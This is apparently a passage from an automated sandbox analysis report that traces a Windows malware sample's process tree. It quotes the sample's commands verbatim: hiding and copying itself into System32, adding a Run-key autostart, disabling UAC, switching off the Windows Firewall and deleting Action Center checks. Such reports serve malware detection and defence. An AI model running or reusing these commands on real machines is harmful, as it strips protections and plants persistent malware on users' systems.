PID 292 wrote to memory of 792	292	cmd.exe	55
PID 292 wrote to memory of 792	292	cmd.exe	55
PID 292 wrote to memory of 792	292	cmd.exe	55
PID 292 wrote to memory of 792	292	cmd.exe	55
PID 2096 wrote to memory of 1136	2096	XIo2qNiS.XIo2qNiS	56
PID 2096 wrote to memory of 1136	2096	XIo2qNiS.XIo2qNiS	56
PID 2096 wrote to memory of 1136	2096	XIo2qNiS.XIo2qNiS	56
PID 2096 wrote to memory of 1136	2096	XIo2qNiS.XIo2qNiS	56

Views/modifies file attributes 1 TTPs 42 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1092	attrib.exe
3068	attrib.exe
2240	attrib.exe
2692	attrib.exe
2012	attrib.exe
1992	attrib.exe
1724	attrib.exe
1392	attrib.exe
1136	attrib.exe
1692	attrib.exe
1716	attrib.exe
2732	attrib.exe
3024	attrib.exe
1228	attrib.exe
1652	attrib.exe
2816	attrib.exe
1732	attrib.exe
2032	attrib.exe
2764	attrib.exe
840	attrib.exe
756	attrib.exe
2372	attrib.exe
2932	attrib.exe
1336	attrib.exe
2396	attrib.exe
1072	attrib.exe
1844	attrib.exe
1552	attrib.exe
2716	attrib.exe
2476	attrib.exe
792	attrib.exe
2200	attrib.exe
2008	attrib.exe
2232	attrib.exe
2232	attrib.exe
1216	attrib.exe
468	attrib.exe
2476	attrib.exe
880	attrib.exe
2384	attrib.exe
2976	attrib.exe
1908	attrib.exe

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe
1⤵
PID:256

C:\Windows\system32\csrss.exe
%SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16
1⤵
PID:332

C:\Windows\system32\wininit.exe
wininit.exe
1⤵
PID:380
- C:\Windows\system32\services.exe
  C:\Windows\system32\services.exe
  2⤵
  PID:480
- - C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k DcomLaunch
    3⤵
    PID:588
  - - C:\Windows\system32\wbem\wmiprvse.exe
      C:\Windows\system32\wbem\wmiprvse.exe
      4⤵
      PID:1448
  - - C:\Windows\system32\DllHost.exe
      C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
      4⤵
      PID:1612
- - C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k RPCSS
    3⤵
    PID:668
- - C:\Windows\System32\svchost.exe
    C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
    3⤵
    PID:744
- - C:\Windows\System32\svchost.exe
    C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
    3⤵
    PID:812
  - - C:\Windows\system32\Dwm.exe
      "C:\Windows\system32\Dwm.exe"
      4⤵
      PID:1172
- - C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k netsvcs
    3⤵
    PID:848
- - C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k LocalService
    3⤵
    PID:964
- - C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k NetworkService
    3⤵
    PID:112
- - C:\Windows\System32\spoolsv.exe
    C:\Windows\System32\spoolsv.exe
    3⤵
    PID:328
- - C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
    3⤵
    PID:1032
- - C:\Windows\system32\taskhost.exe
    "taskhost.exe"
    3⤵
    PID:1112
- - C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
    "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
    3⤵
    PID:1200
- - C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
    3⤵
    PID:2192
- - C:\Windows\system32\sppsvc.exe
    C:\Windows\system32\sppsvc.exe
    3⤵
    PID:1896
- C:\Windows\system32\lsass.exe
  C:\Windows\system32\lsass.exe
  2⤵
  PID:488
- C:\Windows\system32\lsm.exe
  C:\Windows\system32\lsm.exe
  2⤵
  PID:496

C:\Windows\system32\csrss.exe
%SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16
1⤵
PID:392
- C:\Windows\system32\conhost.exe
  \??\C:\Windows\system32\conhost.exe "-1145587658-1001975761-814076306-932973715-8299959871176630514857513004501955106"
  2⤵
  PID:1976

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:432
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\rawcircle.scr
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\rawcircle.scr /s
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Modifies Control Panel
  - Suspicious use of AdjustPrivilegeToken
  PID:2888
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib -R -H -S "%appdata%\advant.exe"
    3⤵
    PID:1596
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -R -H -S "C:\Users\Admin\AppData\Roaming\advant.exe"
      4⤵
      Views/modifies file attributes
      PID:2816
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\rawcircle.scr" "%appdata%\advant.exe"
    3⤵
    PID:3032
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib +R +H +S "%appdata%\advant.exe"
    3⤵
    PID:1416
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +R +H +S "C:\Users\Admin\AppData\Roaming\advant.exe"
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:2476
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\software\microsoft\windows\currentversion\run" /v "advant" /t REG_SZ /d "%appdata%\advant.exe" /f
    3⤵
    PID:2408
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKCU\software\microsoft\windows\currentversion\run" /v "advant" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\advant.exe" /f
      4⤵
      Adds Run key to start application
      PID:1948
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib -R -H -S "%windir%\system32\pcclean.exe"
    3⤵
    PID:1676
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -R -H -S "C:\Windows\system32\pcclean.exe"
      4⤵
      Drops file in System32 directory
      Views/modifies file attributes
      PID:1716
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\rawcircle.scr" "%windir%\system32\pcclean.exe"
    3⤵
    PID:1992
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib +R +H +S "%windir%\system32\pcclean.exe"
    3⤵
    PID:2004
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +R +H +S "C:\Windows\system32\pcclean.exe"
      4⤵
      Sets file to hidden
      Drops file in System32 directory
      Views/modifies file attributes
      PID:1216
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c md %appdata%\Microsoft\Windows
    3⤵
    PID:1392
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib -R -H -S "%appdata%\Microsoft\Windows\rawcircle.scr"
    3⤵
    PID:1692
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -R -H -S "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\rawcircle.scr"
      4⤵
      Views/modifies file attributes
      PID:468
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\rawcircle.scr" "%appdata%\Microsoft\Windows\rawcircle.scr"
    3⤵
    PID:2200
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib +R +H +S "%appdata%\Microsoft\Windows\rawcircle.scr"
    3⤵
    PID:2368
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +R +H +S "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\rawcircle.scr"
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:2232
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Control Panel\Desktop" /v "SCRNSAVE.EXE" /t REG_SZ /d "%appdata%\Microsoft\Windows\rawcircle.scr" /f
    3⤵
    PID:2008
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKCU\Control Panel\Desktop" /v "SCRNSAVE.EXE" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\rawcircle.scr" /f
      4⤵
      PID:1192
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d "1" /f
    3⤵
    PID:1552
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d "1" /f
      4⤵
      PID:1872
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveTimeOut /t REG_SZ /d "60" /f
    3⤵
    PID:1476
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveTimeOut /t REG_SZ /d "60" /f
      4⤵
      PID:2180
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c NET START seclogon
    3⤵
    PID:1336
  - - C:\Windows\SysWOW64\net.exe
      NET START seclogon
      4⤵
      PID:2780
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 START seclogon
        5⤵
        
        PID:2512
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c rd /s /q "%appdata%\Macromedia\Flash Player\#SharedObjects"
    3⤵
    PID:1500
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v EnableBalloonTips /t REG_DWORD /d 0 /f
    3⤵
    PID:3056
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v EnableBalloonTips /t REG_DWORD /d 0 /f
      4⤵
      PID:548
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg DELETE "HKCU\software\microsoft\windows\currentversion\action center\checks" /f
    3⤵
    PID:776
  - - C:\Windows\SysWOW64\reg.exe
      reg DELETE "HKCU\software\microsoft\windows\currentversion\action center\checks" /f
      4⤵
      PID:1560
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    PID:2396
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      UAC bypass
      PID:2720
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c sc config upnphost start= auto
    3⤵
    PID:1468
  - - C:\Windows\SysWOW64\sc.exe
      sc config upnphost start= auto
      4⤵
      Launches sc.exe
      PID:1576
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c sc config SSDPSRV start= auto
    3⤵
    PID:2892
  - - C:\Windows\SysWOW64\sc.exe
      sc config SSDPSRV start= auto
      4⤵
      Launches sc.exe
      PID:1732
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c sc config browser start= auto
    3⤵
    PID:920
  - - C:\Windows\SysWOW64\sc.exe
      sc config browser start= auto
      4⤵
      Launches sc.exe
      PID:2528
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c net start upnphost
    3⤵
    PID:2436
  - - C:\Windows\SysWOW64\net.exe
      net start upnphost
      4⤵
      PID:904
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start upnphost
        5⤵
        
        PID:272
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c net start SSDPSRV
    3⤵
    PID:2196
  - - C:\Windows\SysWOW64\net.exe
      net start SSDPSRV
      4⤵
      PID:2708
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start SSDPSRV
        5⤵
        
        PID:1716
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c net start browser
    3⤵
    PID:832
  - - C:\Windows\SysWOW64\net.exe
      net start browser
      4⤵
      PID:1924
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start browser
        5⤵
        
        PID:1872
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c netsh advfirewall set currentprofile state off
    3⤵
    PID:1588
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall set currentprofile state off
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:1476
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
    3⤵
    PID:408
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
      4⤵
      Modifies firewall policy service
      PID:2216
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
    3⤵
    PID:876
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
      4⤵
      PID:1552
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
    3⤵
    PID:1608
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
      4⤵
      PID:2356
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c netsh advfirewall set currentprofile state off
    3⤵
    PID:1648
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall set currentprofile state off
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:1524
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main\FeatureControl" /v FEATURE_WEBOC_POPUPMANAGEMENT /t REG_DWORD /d 0 /f
    3⤵
    PID:2748
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main\FeatureControl" /v FEATURE_WEBOC_POPUPMANAGEMENT /t REG_DWORD /d 0 /f
      4⤵
      Modifies Internet Explorer settings
      PID:2200
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_FullURL /t REG_SZ /d yes /f
    3⤵
    PID:1640
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_FullURL /t REG_SZ /d yes /f
      4⤵
      Modifies Internet Explorer settings
      PID:1776
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_StatusBar /t REG_SZ /d yes /f
    3⤵
    PID:1644
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_StatusBar /t REG_SZ /d yes /f
      4⤵
      Modifies Internet Explorer settings
      PID:1076
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_URLinStatusBar /t REG_SZ /d yes /f
    3⤵
    PID:2260
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_URLinStatusBar /t REG_SZ /d yes /f
      4⤵
      Modifies Internet Explorer settings
      PID:2920
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\Software\Microsoft\Internet Explorer\MINIE" /v ShowStatusBar /t REG_DWORD /d 1 /f
    3⤵
    PID:2120
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKLM\Software\Microsoft\Internet Explorer\MINIE" /v ShowStatusBar /t REG_DWORD /d 1 /f
      4⤵
      Modifies Internet Explorer settings
      PID:2344
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg DELETE "HKCU\AppEvents\Schemes\Apps\Explorer\Navigating\.Current" /f
    3⤵
    PID:1960
  - - C:\Windows\SysWOW64\reg.exe
      reg DELETE "HKCU\AppEvents\Schemes\Apps\Explorer\Navigating\.Current" /f
      4⤵
      PID:2232
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg DELETE "HKCU\AppEvents\Schemes\Apps\Explorer\Navigating\.Default" /f
    3⤵
    PID:2352
  - - C:\Windows\SysWOW64\reg.exe
      reg DELETE "HKCU\AppEvents\Schemes\Apps\Explorer\Navigating\.Default" /f
      4⤵
      PID:1092
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Software\Microsoft\Internet Explorer\Main" /v Check_Associations /t REG_SZ /d no /f
    3⤵
    PID:2816
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKCU\Software\Microsoft\Internet Explorer\Main" /v Check_Associations /t REG_SZ /d no /f
      4⤵
      Modifies Internet Explorer settings
      PID:1456
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Software\Microsoft\Internet Explorer\Main" /v "DisableFirstRunCustomize" /t REG_DWORD /d "1" /f
    3⤵
    PID:2236
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKCU\Software\Microsoft\Internet Explorer\Main" /v "DisableFirstRunCustomize" /t REG_DWORD /d "1" /f
      4⤵
      Modifies Internet Explorer settings
      PID:1652
- - C:\Windows\SysWOW64\rundll32.exe
    "C:\Windows\System32\rundll32.exe"
    3⤵
    PID:2728
- - C:\Program Files (x86)\Windows Media Player\wmplayer.exe
    "C:\Program Files (x86)\Windows Media Player\wmplayer.exe"
    3⤵
    PID:2876
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c rd /s /q "%appdata%\Macromedia\Flash Player\#SharedObjects"
    3⤵
    PID:2476

C:\Users\Admin\AppData\Local\Temp\4188928d42578d01826be310ed423f73_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\4188928d42578d01826be310ed423f73_JaffaCakes118.exe"
1⤵
- Loads dropped DLL
- Adds Run key to start application
- Drops autorun.inf file
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
PID:2112
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\XIo2qNiS.XIo2qNiS
  2⤵
  - Blocklisted process makes network request
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops autorun.inf file
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of WriteProcessMemory
  PID:536
- - C:\Users\Admin\AppData\Roaming\XIo2qNiS.XIo2qNiS
    C:\Users\Admin\AppData\Roaming\XIo2qNiS.XIo2qNiS
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Adds Run key to start application
    - Drops autorun.inf file
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Modifies Control Panel
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2096
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c attrib -R -H -S "%appdata%\advant.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2264
    - - C:\Windows\SysWOW64\attrib.exe
        
        attrib -R -H -S "C:\Users\Admin\AppData\Roaming\advant.exe"
        5⤵
        Views/modifies file attributes
        
        PID:2732
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Roaming\XIo2qNiS.XIo2qNiS" "%appdata%\advant.exe"
      4⤵
      PID:2448
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c attrib +R +H +S "%appdata%\advant.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2736
    - - C:\Windows\SysWOW64\attrib.exe
        
        attrib +R +H +S "C:\Users\Admin\AppData\Roaming\advant.exe"
        5⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:3024
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\software\microsoft\windows\currentversion\run" /v "advant" /t REG_SZ /d "%appdata%\advant.exe" /f
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2744
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKCU\software\microsoft\windows\currentversion\run" /v "advant" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\advant.exe" /f
        5⤵
        Adds Run key to start application
        
        PID:2644
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c attrib -R -H -S "%windir%\system32\pcclean.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2492
    - - C:\Windows\SysWOW64\attrib.exe
        
        attrib -R -H -S "C:\Windows\system32\pcclean.exe"
        5⤵
        Views/modifies file attributes
        
        PID:2692
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Roaming\XIo2qNiS.XIo2qNiS" "%windir%\system32\pcclean.exe"
      4⤵
      Drops file in System32 directory
      PID:3032
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c attrib +R +H +S "%windir%\system32\pcclean.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:292
    - - C:\Windows\SysWOW64\attrib.exe
        
        attrib +R +H +S "C:\Windows\system32\pcclean.exe"
        5⤵
        Sets file to hidden
        Drops file in System32 directory
        Views/modifies file attributes
        
        PID:792
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c md %appdata%\Microsoft\Windows
      4⤵
      PID:548
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c attrib -R -H -S "%appdata%\Microsoft\Windows\rawcircle.scr"
      4⤵
      PID:1136
    - - C:\Windows\SysWOW64\attrib.exe
        
        attrib -R -H -S "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\rawcircle.scr"
        5⤵
        Views/modifies file attributes
        
        PID:2476
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Roaming\XIo2qNiS.XIo2qNiS" "%appdata%\Microsoft\Windows\rawcircle.scr"
      4⤵
      PID:1848
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c attrib +R +H +S "%appdata%\Microsoft\Windows\rawcircle.scr"
      4⤵
      PID:860
    - - C:\Windows\SysWOW64\attrib.exe
        
        attrib +R +H +S "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\rawcircle.scr"
        5⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:1732
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Control Panel\Desktop" /v "SCRNSAVE.EXE" /t REG_SZ /d "%appdata%\Microsoft\Windows\rawcircle.scr" /f
      4⤵
      PID:388
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKCU\Control Panel\Desktop" /v "SCRNSAVE.EXE" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\rawcircle.scr" /f
        5⤵
        
        PID:1624
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d "1" /f
      4⤵
      PID:1356
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d "1" /f
        5⤵
        
        PID:468
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveTimeOut /t REG_SZ /d "60" /f
      4⤵
      PID:1980
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveTimeOut /t REG_SZ /d "60" /f
        5⤵
        
        PID:1928
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c NET START seclogon
      4⤵
      PID:2004
    - - C:\Windows\SysWOW64\net.exe
        
        NET START seclogon
        5⤵
        
        PID:2936
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 START seclogon
        6⤵
        
        PID:2824
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c rd /s /q "%appdata%\Macromedia\Flash Player\#SharedObjects"
      4⤵
      PID:1052
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v EnableBalloonTips /t REG_DWORD /d 0 /f
      4⤵
      PID:2040
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v EnableBalloonTips /t REG_DWORD /d 0 /f
        5⤵
        
        PID:2204
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg DELETE "HKCU\software\microsoft\windows\currentversion\action center\checks" /f
      4⤵
      PID:1696
    - - C:\Windows\SysWOW64\reg.exe
        
        reg DELETE "HKCU\software\microsoft\windows\currentversion\action center\checks" /f
        5⤵
        
        PID:2164
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      PID:1756
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
        5⤵
        UAC bypass
        
        PID:1064
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc config upnphost start= auto
      4⤵
      PID:2784
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config upnphost start= auto
        5⤵
        Launches sc.exe
        
        PID:2080
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc config SSDPSRV start= auto
      4⤵
      PID:2560
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config SSDPSRV start= auto
        5⤵
        Launches sc.exe
        
        PID:2656
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc config browser start= auto
      4⤵
      PID:1872
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config browser start= auto
        5⤵
        Launches sc.exe
        
        PID:2128
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c net start upnphost
      4⤵
      PID:2632
    - - C:\Windows\SysWOW64\net.exe
        
        net start upnphost
        5⤵
        
        PID:2728
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start upnphost
        6⤵
        
        PID:2704
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c net start SSDPSRV
      4⤵
      PID:1368
    - - C:\Windows\SysWOW64\net.exe
        
        net start SSDPSRV
        5⤵
        
        PID:2764
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start SSDPSRV
        6⤵
        
        PID:2108
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c net start browser
      4⤵
